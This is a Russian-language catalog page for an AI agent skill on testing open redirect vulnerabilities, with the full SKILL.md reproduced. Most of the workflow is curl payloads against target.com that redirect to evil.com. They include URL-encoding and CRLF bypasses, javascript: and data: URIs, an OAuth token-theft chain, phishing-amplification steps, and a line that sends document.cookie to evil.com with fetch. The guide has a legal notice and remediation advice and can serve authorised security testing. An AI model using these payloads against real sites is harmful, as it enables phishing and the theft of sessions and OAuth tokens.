К основному содержанию
скилл CX Codex

testing-for-open-redirect-vulnerabilities — скилл для Claude Code

Помогает проверять параметры перенаправления и искать обходы их валидации. Пригодится при аудите входа, OAuth и SSO.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-open-redirect-vulnerabilities -a claude-code
Открыть на GitHub

Что делает testing-for-open-redirect-vulnerabilities

Скилл разбирает URL-параметры вроде next, redirect и redirect_uri, проверяет варианты обхода и помогает проследить цепочку перенаправлений. В сценариях также рассматриваются фишинг и кража OAuth-токенов. Проверять такие цепочки следует только на системах, на тестирование которых у вас есть разрешение.

Для перехвата запросов описаны Burp Suite и OWASP ZAP; для подтверждения перенаправления — внешний домен или Burp Collaborator. В разделе автоматизации упомянуты OpenRedireX, gf, nuclei и ffuf. Перед проверкой нужны понимание URL-кодирования и браузер с инструментами разработчика; без внешнего домена или Burp Collaborator подтвердить перенаправление этим способом не получится.

Какие задачи решает

  • найти параметры, которые перенаправляют на заданный URL
  • проверить обходы проверки адреса назначения
  • отследить цепочки перенаправлений в OAuth и SSO
  • автоматизировать поиск редиректов в списке URL

Примеры запросов агенту

  • Проверь параметры next и redirect на открытое перенаправление в моём тестовом приложении.
  • Составь план проверки redirect_uri в OAuth с Burp Suite.
  • Просканируй urls.txt на параметры перенаправления и объясни найденные результаты.

Как установить testing-for-open-redirect-vulnerabilities

1Через Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-open-redirect-vulnerabilities -a claude-code

2Вручную: положить файлы

~/.claude/skills/testing-for-open-redirect-vulnerabilities/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/testing-for-open-redirect-vulnerabilities/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о testing-for-open-redirect-vulnerabilities

Как установить testing-for-open-redirect-vulnerabilities в Claude Code?

Выполните npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-open-redirect-vulnerabilities -a claude-code. Файл скилла находится в ~/.claude/skills/testing-for-open-redirect-vulnerabilities/SKILL.md.

Что делает testing-for-open-redirect-vulnerabilities?

Помогает искать уязвимости открытого перенаправления, проверяя URL-параметры и способы обхода валидации. Также описывает проверку цепочек с OAuth и фишингом.

Какие инструменты нужны для проверки?

Для перехвата запросов скилл предлагает Burp Suite или OWASP ZAP. Для подтверждения перенаправления нужен внешний домен или Burp Collaborator.

Исходный текст

SKILL.md · Apache-2.0
---
name: testing-for-open-redirect-vulnerabilities
description: Identifies and exploits open redirect vulnerabilities by analyzing URL
  redirection parameters (next, url, redirect, return, goto), applying bypass techniques,
  and chaining findings into phishing or token-theft exploits, using Burp Suite/OWASP ZAP
  and Burp Collaborator. Use when testing login/logout flows, OAuth redirect_uri handling,
  or SSO redirect validation.
domain: cybersecurity
subdomain: web-application-security
tags:
- open-redirect
- url-redirect
- phishing
- owasp
- url-validation
- redirect-bypass
- unvalidated-redirect
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1566
---

# Testing for Open Redirect Vulnerabilities

## When to Use
- When testing login/logout flows that redirect users to specified URLs
- During assessment of OAuth authorization endpoints with redirect_uri parameters
- When auditing applications with URL parameters (next, url, redirect, return, goto, target)
- During phishing simulation to chain open redirects with credential harvesting
- When testing SSO implementations for redirect validation weaknesses

## Prerequisites
- Burp Suite or OWASP ZAP for intercepting redirect requests
- Collection of open redirect bypass payloads
- External domain or Burp Collaborator for redirect confirmation
- Understanding of URL parsing and encoding schemes
- Browser with developer tools for observing redirect chains
- Knowledge of HTTP 301/302/303/307/308 redirect status codes


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Workflow

### Step 1 — Identify Redirect Parameters
```bash
# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters

# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"
```

### Step 2 — Test Basic Open Redirect Payloads
```bash
# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"

# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"

# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://[email protected]"

# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"

# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"
```

### Step 3 — Apply Validation Bypass Techniques
```bash
# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"

# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"

# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"

# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"

# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"
```

### Step 4 — Test Path-Based Redirects
```bash
# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"

# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"

# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"

# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"
```

### Step 5 — Chain with Other Vulnerabilities
```bash
# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"

# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL

# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"
```

### Step 6 — Automate Open Redirect Testing
```bash
# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt

# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml

# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Unvalidated Redirect | Application redirects to user-supplied URL without checking destination |
| URL Parsing Inconsistency | Different libraries parse URLs differently, enabling bypass |
| Protocol-Relative URL | Using // prefix to redirect while inheriting current protocol |
| Userinfo Abuse | Using @ symbol to make URL appear to belong to trusted domain |
| Open Redirect Chain | Combining multiple open redirects or chaining with other vulnerabilities |
| DOM-Based Redirect | Client-side JavaScript performing redirect using attacker-controlled input |
| Meta Refresh Redirect | HTML meta tag performing redirect without server-side 302 |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| OpenRedireX | Automated open redirect vulnerability testing tool |
| Burp Suite | HTTP proxy for intercepting and modifying redirect parameters |
| gf (tomnomnom) | Pattern matcher to extract redirect parameters from URL lists |
| nuclei | Template-based scanner with open redirect detection templates |
| ffuf | Fuzzer for mass-testing redirect parameter payloads |
| OWASP ZAP | Automated scanner with open redirect detection |

## Common Scenarios

1. **Phishing Amplification** — Use open redirect on a trusted domain to lend credibility to phishing URLs targeting users
2. **OAuth Token Theft** — Exploit open redirect as redirect_uri in OAuth flows to steal authorization codes and access tokens
3. **SSO Bypass** — Redirect SSO authentication responses to attacker-controlled servers to capture session tokens
4. **XSS via Redirect** — Chain open redirect with javascript: protocol to achieve cross-site scripting
5. **Referer Leakage** — Use open redirect to leak sensitive tokens in Referer headers when redirecting to external sites

## Output Format

```
## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse

### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://[email protected] | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |

### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Похожие скиллы

Все скиллы по теме «Безопасность» →
git-guardrails-claude-code Matt Pocock Скилл ставит хук Claude Code, который останавливает опасные Git-команды до их запуска. Нужен, если агент не должен делать push или удалять изменения. 499 069установок ponytail-review DietrichGebert Скилл проверяет изменения глубже обычного diff: читает связанный код, ищет ошибки, риски, проблемы нагрузки и недостающие тесты. Пригодится для ревью PR и коммитов. CX Codex +1 57 000установок ponytail-audit DietrichGebert Проверяет репозиторий и ранжирует ошибки, риски и лишний код. Подойдёт, если нужен разовый разбор без автоматических правок. CX Codex +1 45 400установок security-audit cloudflare Проверяет кодовую базу на уязвимости и ищет нарушения границ доверия. Пригодится перед релизом или для точечного разбора опасных участков кода. CX Codex +1 54 800установок security-and-hardening addyosmani Помогает проектировать защиту и проверять код на уязвимости при работе с вводом, авторизацией, сессиями и внешними сервисами. Подойдёт перед релизом и при создании функций, которые обрабатывают недоверенные данные. CX Codex +1 70 200установок supabase официальный supabase Скилл помогает настраивать базу данных, аутентификацию и RLS в Supabase без скрытых дыр в безопасности. CX Codex GP ChatGPT 8установок

Из того же набора90

analyzing-mft-for-deleted-file-recovery Скилл для криминалистического анализа NTFS: разбирает $MFT, $LogFile, $UsnJrnl и slack space, чтобы восстановить метаданные и содержимое удалённых файлов. CX Codex +1 326установок exploiting-sql-injection-with-sqlmap Ведёт агента по этапам проверки SQL-инъекций через sqlmap: найти точку входа, подтвердить её, вытащить данные в рамках авторизованного пентеста. CX Codex +1 322установок analyzing-memory-forensics-with-lime-and-volatility Скилл помогает выгрузить память ядра Linux через модуль LiME и разобрать дамп во фреймворке Volatility 3 при расследовании инцидентов. CX Codex +1 321установок bypassing-authentication-with-forced-browsing Скилл для пентеста веб-приложений: ищет незакрытые страницы, API и админки перебором URL и проверяет, где аутентификация не enforced. CX Codex +1 321установок hardening-docker-containers-for-production Скилл укрепляет Dockerfile, образы и настройки контейнеров по CIS Docker Benchmark v1.8.0. Пригодится перед production-развёртыванием и аудитом. CX Codex +1 320установок conducting-external-reconnaissance-with-osint Скилл собирает профиль цели по открытым источникам: DNS, логи сертификатов, поиск, соцсети, репозитории и утечки. Для пассивной фазы пентеста. CX Codex +1 319установок analyzing-persistence-mechanisms-in-linux Ищет следы закрепления злоумышленника в Linux через cron, службы systemd, LD_PRELOAD и SSH-ключи, сопоставляя находки с auditd. CX Codex +1 319установок analyzing-pdf-malware-with-pdfid Разбирает подозрительный PDF по структуре: находит встроенный JavaScript, шеллкод и эксплойты, не открывая документ. CX Codex +1 317установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой